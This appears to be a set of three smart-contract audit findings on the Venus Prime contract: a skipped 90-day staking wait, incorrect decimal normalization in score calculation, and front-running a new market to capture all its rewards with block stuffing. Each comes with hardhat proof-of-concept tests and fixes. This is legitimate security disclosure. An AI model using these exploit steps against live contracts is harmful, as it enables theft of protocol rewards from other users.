Venus Prime - santipu_'s results

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L340-L341

Vulnerability details

Impact

The issue function of the Prime.sol contract exhibits a critical flaw during the issuance of irrevocable tokens. Specifically, users who have had an irrevocable token issued—and subsequently burned—can exploit this vulnerability to claim a revocable token without adhering to the requisite 90-day wait period.

This flaw originates from the lack of resetting the stakedAt[user] value to zero when issuing irrevocable tokens. If a user’s irrevocable token is burned and they have not withdrawn the staked XVS, they could improperly claim a new revocable token without undergoing the 90-day waiting period.

Proof of Concept

Here is the vulnerable issue function:

function issue(bool isIrrevocable, address[] calldata users) external {
    _checkAccessAllowed("issue(bool,address[])");

    if (isIrrevocable) {
        for (uint256 i = 0; i < users.length; ) {
            Token storage userToken = tokens[users[i]];
            if (userToken.exists && !userToken.isIrrevocable) {
                _upgrade(users[i]);
            } else {
                _mint(true, users[i]);
                _initializeMarkets(users[i]);
                // @audit Missing crucial `delete stakedAt[users[i]]`;
            }

            unchecked {
                i++;
            }
        }
    } else {
        for (uint256 i = 0; i < users.length; ) {
            _mint(false, users[i]);
            _initializeMarkets(users[i]);
            delete stakedAt[users[i]];

            unchecked {
                i++;
            }
        }
    }
}

When minting a revocable token, the stakedAt[user] value gets reset to zero, ensuring that a user must wait another 90 days if they wish to mint the prime token again, should they lose it. However, this is not the case when issuing an irrevocable token, thereby providing an illicit advantage should the user lose the irrevocable token. The claim function will permit them to mint a new revocable token, given that their stakedAt value remains unreset:

function claim() external {
    if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
    if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();

    stakedAt[msg.sender] = 0;

    _mint(false, msg.sender);
    _initializeMarkets(msg.sender);
}

Notably, irrevocable tokens may be lost via the burn function:

function burn(address user) external {
    _checkAccessAllowed("burn(address)");
    _burn(user);
}

This function can only be called by the governance. In the case a user with an irrevocable token issued has the token burned (for x reasons), he'd have an unfair advantage over the rest of the users because he'd be able to claim a new revocable token before waiting the 90 days.

A coded POC is illustrated here:

// Paste test at line 302 of tests/hardhat/Prime/Prime.ts
it("User mints new Prime token without waiting the 90 days", async () => {
  const user = user1;

  // User1 stakes 1000 XVS in vault
  await xvs.connect(user).approve(xvsVault.address, bigNumber18.mul(1000));
  await xvsVault.connect(user).deposit(xvs.address, 0, bigNumber18.mul(1000));

  let stake = await prime.stakedAt(user.getAddress());
  expect(stake).be.gt(0);

  // Governance issues Irrevocable token to user1
  await prime.issue(true, [user1.getAddress()]);

  let token = await prime.tokens(user1.getAddress());
  expect(token.exists).to.be.equal(true);
  expect(token.isIrrevocable).to.be.equal(true);

  // Value of stakedAt is not reset (bug)
  stake = await prime.stakedAt(user.getAddress());
  expect(stake).be.gt(0);

  // 90 days later, governance manually burn irrevocable token of user1
  await mine(90 * 24 * 60 * 60);
  await prime.burn(user1.getAddress());
  token = await prime.tokens(user1.getAddress());
  expect(token.isIrrevocable).to.be.equal(false);
  expect(token.exists).to.be.equal(false);

  // Then, user1 can claim revocable token because of bug
  await expect(prime.connect(user).claim()).to.be.not.reverted;
  token = await prime.tokens(user1.getAddress());
  expect(token.exists).to.be.equal(true);
  expect(token.isIrrevocable).to.be.equal(false);
})

Tools Used

Manual review

Recommended Mitigation Steps

To rectify this vulnerability, it is imperative to reset the stakedAt[user] value to zero within the issue function, irrespective of whether the issued token is revocable or irrevocable.

function issue(bool isIrrevocable, address[] calldata users) external {
    _checkAccessAllowed("issue(bool,address[])");

    if (isIrrevocable) {
        for (uint256 i = 0; i < users.length; ) {
            Token storage userToken = tokens[users[i]];
            if (userToken.exists && !userToken.isIrrevocable) {
                _upgrade(users[i]);
            } else {
                _mint(true, users[i]);
                _initializeMarkets(users[i]);
+               delete stakedAt[users[i]];
            }

            unchecked {
                i++;
            }
        }
    } else {
        // ...
    }
}

This adjustment ensures the prevention of prematurely claiming a new revocable token without adhering to the necessary waiting period, thereby eliminating the vulnerability.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L661

Vulnerability details

Impact

The method _calculateScore in the Prime.sol contract is basic in determining a user's score within a specified market. This function computes two pivotal values: xvsStakedForScore and capital to derive the score.

The xvsStakedForScore variable denotes the amount of XVS tokens staked, qualifying for the user's score computation. This variable consistently maintains 18 decimal places, because the XVS token has 18 decimals.

On the other hand, capital illustrates the user's capped supply and borrow quantity in the market. The decimal representation of this variable depends on the underlyingToken decimal count, needing a normalization to 18 decimal places for accurate score computation by the Scores library.

However, a flaw emerges in the decimal normalization of capital, leading to inconsistent score normalization across markets, alongside potential under/overflow issues.

Proof of Concept

Below is the snippet of the _calculateScore function:

function _calculateScore(address market, address user) internal returns (uint256) {
    uint256 xvsBalanceForScore = _xvsBalanceForScore(_xvsBalanceOfUser(user));

    IVToken vToken = IVToken(market);
    uint256 borrow = vToken.borrowBalanceStored(user);
    uint256 exchangeRate = vToken.exchangeRateStored();
    uint256 balanceOfAccount = vToken.balanceOf(user);
    uint256 supply = (exchangeRate * balanceOfAccount) / EXP_SCALE;

    address xvsToken = IXVSVault(xvsVault).xvsAddress();
    oracle.updateAssetPrice(xvsToken);
    oracle.updatePrice(market);

    (uint256 capital, , ) = _capitalForScore(xvsBalanceForScore, borrow, supply, market);
    capital = capital * (10 ** (18 - vToken.decimals())); // @audit Incorrect normalization to 18 decimals

    return Scores.calculateScore(xvsBalanceForScore, capital, alphaNumerator, alphaDenominator);
}

Upon retrieving capital from the _capitalForScore function, it aligns with the underlyingToken decimal precision of that market. The subsequent line intends to standardize it to 18 decimals to ensure score consistency across markets, no matter of the underlyingToken decimal count.

However, the code erroneously extends capital by 10 decimals instead of normalizing it to 18 decimals:

capital = capital * (10 ** (18 - vToken.decimals()));
capital = capital * (10 ** (18 - 8));
capital = capital * (10 ** 10);
// capital = capital * 10^10;

This miscalculation results in capital for markets with 18-decimal underlyingToken (majority of cases) to possess 28 decimal places rather than 18. Conversely, for markets with a 6-decimal underlyingToken (e.g., TRX), capital holds 16 decimal places, falling short of the required 18.

A deeper dive into the Scores library showcases the gravity of this flaw:

library Scores {
    /**
     * @notice Calculate a membership score given some amount of `xvs` and `capital`, along
     *  with some 𝝰 = `alphaNumerator` / `alphaDenominator`.
     * @param xvs amount of xvs (xvs, 1e18 decimal places)
     * @param capital amount of capital (1e18 decimal places) // @audit WRONG
     * @param alphaNumerator alpha param numerator
     * @param alphaDenominator alpha param denominator
     * @return membership score with 1e18 decimal places
     *
     * @dev 𝝰 must be in the range [0, 1]
     */
    function calculateScore(
        uint256 xvs,
        uint256 capital,
        uint256 alphaNumerator,
        uint256 alphaDenominator
    ) internal pure returns (uint256) {
        // ...
    }
}

The comments explicitly mandates a 18-decimal precision for capital, a condition that isn't met due to the incorrect normalization. This discrepancy introduces potential under/overflow issues within the Scores library and uneven precision in scores across diverse markets, undermining the system's integrity.

This faulty logic disrupts the uniform score computation across various markets, thereby jeopardizing the fairness and accuracy of the user's score derivation.

Tools Used

Manual Review

Recommended Mitigation Steps

It's recommended to adjust the calculateScore function to correctly normalize capital to 18 decimal places consistently.

function _calculateScore(address market, address user) internal returns (uint256) {
    // ...

    (uint256 capital, , ) = _capitalForScore(xvsBalanceForScore, borrow, supply, market);
-   capital = capital * (10 ** (18 - vToken.decimals()));
+   capital = capital * (10 ** (18 - underlyingToken.decimals()));

    return Scores.calculateScore(xvsBalanceForScore, capital, alphaNumerator, alphaDenominator);
}

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L288-L309

Vulnerability details

Impact

When a new market is added through the addMarket function in the Prime.sol contract, all users have to update their score to start earning the rewards from the new market.

The updateScores method is designated for this purpose, to be invoked whenever a significant event occurs (like changes in cap multipliers and alpha, or when a new market is added), ensuring the user scores across all markets can receive the appropiate rewards based on their score.

A vulnerability emerges when an adversary (referred to as Alice) is able to refresh her score immediately after the new market has been added and before the updateScores method invocation for other participants. In this window, Alice singularly accrues all new market rewards as others' scores remain outdated.

Compounded by the Venus Protocol's primary operation on the BSC chain, Alice can cheaply stuff whole blocks with dummy transactions so she prevents the udpateScores function to be called while she steals all the rewards from that new market.

Proof of Concept

This is the function to add new markets to Prime.sol:

function addMarket(address vToken, uint256 supplyMultiplier, uint256 borrowMultiplier) external {
    _checkAccessAllowed("addMarket(address,uint256,uint256)");
    if (markets[vToken].exists) revert MarketAlreadyExists();

    bool isMarketExist = InterfaceComptroller(comptroller).markets(vToken);
    if (!isMarketExist) revert InvalidVToken();

    markets[vToken].rewardIndex = 0;
    markets[vToken].supplyMultiplier = supplyMultiplier;
    markets[vToken].borrowMultiplier = borrowMultiplier;
    markets[vToken].sumOfMembersScore = 0;
    markets[vToken].exists = true;

    vTokenForAsset[_getUnderlying(vToken)] = vToken;

    allMarkets.push(vToken);
    _startScoreUpdateRound();

    _ensureMaxLoops(allMarkets.length);

    emit MarketAdded(vToken, supplyMultiplier, borrowMultiplier);
}

As you can see, this function doesn't update the scores of any users so it has to be done through the updateScores function, that simply updates the scores of the users provided through all markets.

But Alice can update her score for that new market before other users do through the accrueInterestAndUpdateScore function:

function accrueInterestAndUpdateScore(address user, address market) external {
    _executeBoost(user, market);
    _updateScore(user, market);
}

Here is the coded POC:

// Paste test at line 642 of tests/hardhat/Prime/Prime.ts
it("Steal all initial rewards of a new market", async () => {
    // Normalize vBNB balances and XVS staked so both users have the same amount. Also issue prime tokens
    await vbnb.connect(user3).redeem(bigNumber18.mul(85));
    bnb.transfer(user2.getAddress(), bigNumber18.mul(5));
    await bnb.connect(user2).approve(vbnb.address, bigNumber18.mul(5));
    await vbnb.connect(user2).mint(bigNumber18.mul(5));
    await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(100));
    await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(100));
    await prime.issue(false, [user2.getAddress()]);
    await prime.issue(false, [user3.getAddress()]);

    // Both users have same amount of vBNB (5e18)
    expect(await vbnb.balanceOf(user2.getAddress())).to.be.equal(bigNumber18.mul(5))
    expect(await vbnb.balanceOf(user3.getAddress())).to.be.equal(bigNumber18.mul(5))        

    // Both users have same amount of XVS staked (100e18)
    expect((await xvsVault.getUserInfo(xvs.address, 0, user2.getAddress())).amount).to.be.equal(bigNumber18.mul(100))
    expect((await xvsVault.getUserInfo(xvs.address, 0, user3.getAddress())).amount).to.be.equal(bigNumber18.mul(100))

    // Both users have the Prime token
    expect((await prime.tokens(user2.getAddress())).exists).to.be.true
    expect((await prime.tokens(user3.getAddress())).exists).to.be.true

    // We add a new market (vBNB)
    await prime.addMarket(vbnb.address, bigNumber18.mul(1), bigNumber18.mul(1));
    let market = await prime.markets(vbnb.address);
    expect(market.sumOfMembersScore).to.be.equal(0);

    // User2 (Alice) updates her score before user3
    await prime.accrueInterestAndUpdateScore(user2.getAddress(), vbnb.address)

    // Now, the score of Alice is the score of the entire market
    market = await prime.markets(vbnb.address);
    let interest = await prime.interests(vbnb.address, user2.getAddress());
    expect(market.sumOfMembersScore).to.be.gt(0)
    expect(market.sumOfMembersScore).to.be.equal(interest.score)

    // We advance in time 1 hour
    await mine(60 * 60)

    // We accrue interest on the new market (PSR distributes 1e9 tokens every hour in this example)
    await protocolShareReserve.getUnreleasedFunds.returns("1000000000");
    await prime.accrueInterest(vbnb.address)

    // Alice gets all the rewards generated in the market (difference is bc of rounding)
    expect(await prime.unreleasedPSRIncome(bnb.address)).to.be.equal("1000000000")
    expect(await prime.callStatic.getInterestAccrued(vbnb.address, user2.getAddress())).to.be.equal("999999998")
    expect(await prime.callStatic.getInterestAccrued(vbnb.address, user3.getAddress())).to.be.equal("0")
})

Tools Used

Manual Review

Recommended Mitigation Steps

To solve this issue, it's recommended to change the addMarket function so that it updates the scores for some users just after adding the new market.

Here is an example:

function addMarket(
    address vToken,
    uint256 supplyMultiplier,
    uint256 borrowMultiplier,
+   address[] memory usersToUpdate
) external {
    _checkAccessAllowed("addMarket(address,uint256,uint256)");
    if (markets[vToken].exists) revert MarketAlreadyExists();

    bool isMarketExist = InterfaceComptroller(comptroller).markets(vToken);
    if (!isMarketExist) revert InvalidVToken();

    markets[vToken].rewardIndex = 0;
    markets[vToken].supplyMultiplier = supplyMultiplier;
    markets[vToken].borrowMultiplier = borrowMultiplier;
    markets[vToken].sumOfMembersScore = 0;
    markets[vToken].exists = true;

    vTokenForAsset[_getUnderlying(vToken)] = vToken;

    allMarkets.push(vToken);
    _startScoreUpdateRound();

    _ensureMaxLoops(allMarkets.length);

+   updateScores(usersToUpdate);

    emit MarketAdded(vToken, supplyMultiplier, borrowMultiplier);
}

This implementation would require making the updateScores function public.

Assessed type

Timing